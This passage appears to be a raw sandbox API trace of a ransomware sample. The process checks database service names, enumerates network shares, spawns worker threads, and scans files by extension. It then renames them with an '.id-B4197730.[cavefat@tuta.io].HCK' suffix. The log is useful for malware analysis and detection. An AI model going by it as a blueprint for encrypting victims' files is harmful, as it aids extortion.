(lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0246.145] lstrlenW (lpString="SecurityHealthService") returned 21 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0246.145] lstrlenW (lpString="SENS") returned 4 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0246.145] lstrlenW (lpString="ShellHWDetection") returned 16 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0246.145] lstrlenW (lpString="Spooler") returned 7 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0246.145] lstrlenW (lpString="StateRepository") returned 15 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0246.145] lstrlenW (lpString="SysMain") returned 7 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0246.145] lstrlenW (lpString="SystemEventsBroker") returned 18 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0246.145] lstrlenW (lpString="Themes") returned 6 [0246.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0246.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0246.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0246.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0246.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0246.145] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0246.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.146] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0246.146] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0246.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0246.146] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0246.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.146] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0246.146] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0246.586] HeapFree (hHeap=0x520000, dwFlags=0x0, lpMem=0x4152080) Thread: id = 368 os_tid = 0xec4 [0245.314] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) Thread: id = 369 os_tid = 0xec8 [0245.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57dfb8 [0245.314] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57dfb8, Size=0x20) returned 0x55e8b8 [0245.314] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55e8b8, Size=0x40) returned 0x537968 [0245.314] GetLogicalDrives () returned 0x4 [0245.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5ab618 [0245.315] GetComputerNameW (in: lpBuffer=0x5ab61c, nSize=0x286ff64 | out: lpBuffer="NQDPDE", nSize=0x286ff64) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x57f4d0 [0245.315] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x286ff34 | out: lphEnum=0x286ff34*=0x536520) returned 0x0 [0245.316] WNetEnumResourceW (in: hEnum=0x536520, lpcCount=0x286ff30, lpBuffer=0x57f4d0, lpBufferSize=0x286ff38 | out: lpcCount=0x286ff30, lpBuffer=0x57f4d0, lpBufferSize=0x286ff38) returned 0x103 [0245.318] WNetCloseEnum (hEnum=0x536520) returned 0x0 [0245.318] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x286ff34 | out: lphEnum=0x286ff34*=0x53a718) returned 0x0 [0245.334] WNetEnumResourceW (in: hEnum=0x53a718, lpcCount=0x286ff30, lpBuffer=0x57f4d0, lpBufferSize=0x286ff38 | out: lpcCount=0x286ff30, lpBuffer=0x57f4d0, lpBufferSize=0x286ff38) returned 0x0 [0245.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x5816f0 [0245.334] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x57f4d0, lphEnum=0x286ff08 | out: lphEnum=0x286ff08*=0x536460) returned 0x0 [0245.335] WNetEnumResourceW (in: hEnum=0x536460, lpcCount=0x286ff04, lpBuffer=0x5816f0, lpBufferSize=0x286ff0c | out: lpcCount=0x286ff04, lpBuffer=0x5816f0, lpBufferSize=0x286ff0c) returned 0x103 [0245.335] WNetCloseEnum (hEnum=0x536460) returned 0x0 [0245.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x582d30 [0245.336] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x57f4f0, lphEnum=0x286ff08) Thread: id = 370 os_tid = 0xecc [0245.343] GetTickCount () returned 0x1139d5f [0245.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x535718 [0245.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0245.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0245.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0245.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0245.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e288 [0245.344] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e288, Size=0x20) returned 0x55ea20 [0245.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e228 [0245.344] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e228, Size=0x20) returned 0x55ebd8 [0245.344] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.344] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.344] Wow64DisableWow64FsRedirection (in: OldValue=0x29aff7c | out: OldValue=0x29aff7c*=0x0) returned 1 [0245.344] lstrlenW (lpString="kernel32.dll") returned 12 [0245.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ea20 | out: hHeap=0x520000) returned 1 [0245.344] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x566398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0245.345] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0245.568] GetTickCount () returned 0x1139e3a [0245.568] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0245.798] GetTickCount () returned 0x1139f15 [0245.798] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0246.070] GetTickCount () returned 0x113a02e [0246.070] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0246.605] GetTickCount () returned 0x113a241 [0246.605] GetTickCount () returned 0x113a241 [0246.605] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) Thread: id = 371 os_tid = 0xed0 [0245.345] GetTickCount () returned 0x1139d5f [0245.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x535478 [0245.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0245.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0245.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0245.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x535478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0245.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e2a0 [0245.346] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e2a0, Size=0x20) returned 0x55ea20 [0245.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e228 [0245.346] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e228, Size=0x20) returned 0x55ebd8 [0245.347] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.347] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.347] Wow64DisableWow64FsRedirection (in: OldValue=0x2aeff7c | out: OldValue=0x2aeff7c*=0x0) returned 1 [0245.347] lstrlenW (lpString="kernel32.dll") returned 12 [0245.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ea20 | out: hHeap=0x520000) returned 1 [0245.347] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x58a600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0245.347] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0245.568] GetTickCount () returned 0x1139e3a [0245.568] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0245.798] GetTickCount () returned 0x1139f15 [0245.798] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0246.070] GetTickCount () returned 0x113a02e [0246.070] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102 [0246.605] GetTickCount () returned 0x113a241 [0246.605] GetTickCount () returned 0x113a241 [0246.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) Thread: id = 373 os_tid = 0xedc [0245.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5bca30 [0245.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5cca38 [0245.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e450 [0245.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc8e8 [0245.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e420 [0245.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x377e020 [0245.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e4f8 [0245.429] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e4f8, Size=0x20) returned 0x55eb88 [0245.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e2a0 [0245.429] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e2a0, Size=0x20) returned 0x55eb60 [0245.429] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.429] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.429] Wow64DisableWow64FsRedirection (in: OldValue=0x2c2ff50 | out: OldValue=0x2c2ff50*=0x0) returned 1 [0245.429] lstrlenW (lpString="kernel32.dll") returned 12 [0245.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.429] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb60 | out: hHeap=0x520000) returned 1 [0245.429] Sleep (dwMilliseconds=0x64) [0245.654] Sleep (dwMilliseconds=0x64) [0245.856] Sleep (dwMilliseconds=0x64) [0246.160] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0246.160] lstrlenW (lpString="J0090089.WMF") returned 12 [0246.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0246.412] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=15760) returned 1 [0246.413] CloseHandle (hObject=0x374) returned 1 [0246.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0246.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".doc") returned 4 [0246.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".docx") returned 5 [0246.823] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0246.823] lstrlenW (lpString=".pdf") returned 4 [0246.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".xls") returned 4 [0246.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.823] lstrlenW (lpString=".xlsx") returned 5 [0246.823] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0246.823] lstrlenW (lpString=".ppt") returned 4 [0246.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".zip") returned 4 [0246.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.823] lstrlenW (lpString=".rar") returned 4 [0246.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".bz2") returned 4 [0246.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".7z") returned 3 [0246.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".dbf") returned 4 [0246.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".1cd") returned 4 [0246.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".jpg") returned 4 [0246.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.823] lstrlenW (lpString=".doc") returned 4 [0246.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".docx") returned 5 [0246.823] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0246.823] lstrlenW (lpString=".pdf") returned 4 [0246.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.823] lstrlenW (lpString=".xls") returned 4 [0246.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.824] lstrlenW (lpString=".xlsx") returned 5 [0246.824] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0246.824] lstrlenW (lpString=".ppt") returned 4 [0246.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.824] lstrlenW (lpString=".zip") returned 4 [0246.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.824] lstrlenW (lpString=".rar") returned 4 [0246.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.824] lstrlenW (lpString=".bz2") returned 4 [0246.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.824] lstrlenW (lpString=".7z") returned 3 [0246.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.824] lstrlenW (lpString=".dbf") returned 4 [0246.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.824] lstrlenW (lpString=".1cd") returned 4 [0246.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0246.824] lstrlenW (lpString=".jpg") returned 4 [0246.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 374 os_tid = 0xee0 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5dd110 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5ed118 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e528 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc8f8 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e738 [0245.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3881020 [0245.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7f8 [0245.432] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e7f8, Size=0x20) returned 0x55ebd8 [0245.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.432] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5b8, Size=0x20) returned 0x55eb88 [0245.432] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.433] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.433] Wow64DisableWow64FsRedirection (in: OldValue=0x2d6ff50 | out: OldValue=0x2d6ff50*=0x0) returned 1 [0245.433] lstrlenW (lpString="kernel32.dll") returned 12 [0245.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.433] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.433] Sleep (dwMilliseconds=0x64) [0245.647] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0245.647] lstrlenW (lpString="desktop.ini") returned 11 [0245.647] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0245.648] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=129) returned 1 [0245.648] CloseHandle (hObject=0x300) returned 1 [0245.648] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0245.648] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck")) returned 0x26 [0245.648] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.648] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.648] lstrlenW (lpString=".doc") returned 4 [0245.648] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0245.648] lstrlenW (lpString=".docx") returned 5 [0245.648] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0245.648] lstrlenW (lpString=".pdf") returned 4 [0245.649] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".xls") returned 4 [0245.649] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".xlsx") returned 5 [0245.649] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0245.649] lstrlenW (lpString=".ppt") returned 4 [0245.649] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".zip") returned 4 [0245.649] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".rar") returned 4 [0245.649] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString=".bz2") returned 4 [0245.649] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString=".7z") returned 3 [0245.649] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".dbf") returned 4 [0245.649] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".1cd") returned 4 [0245.649] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".jpg") returned 4 [0245.649] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0245.649] lstrlenW (lpString=".doc") returned 4 [0245.649] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0245.649] lstrlenW (lpString=".docx") returned 5 [0245.649] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0245.649] lstrlenW (lpString=".pdf") returned 4 [0245.649] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0245.649] lstrlenW 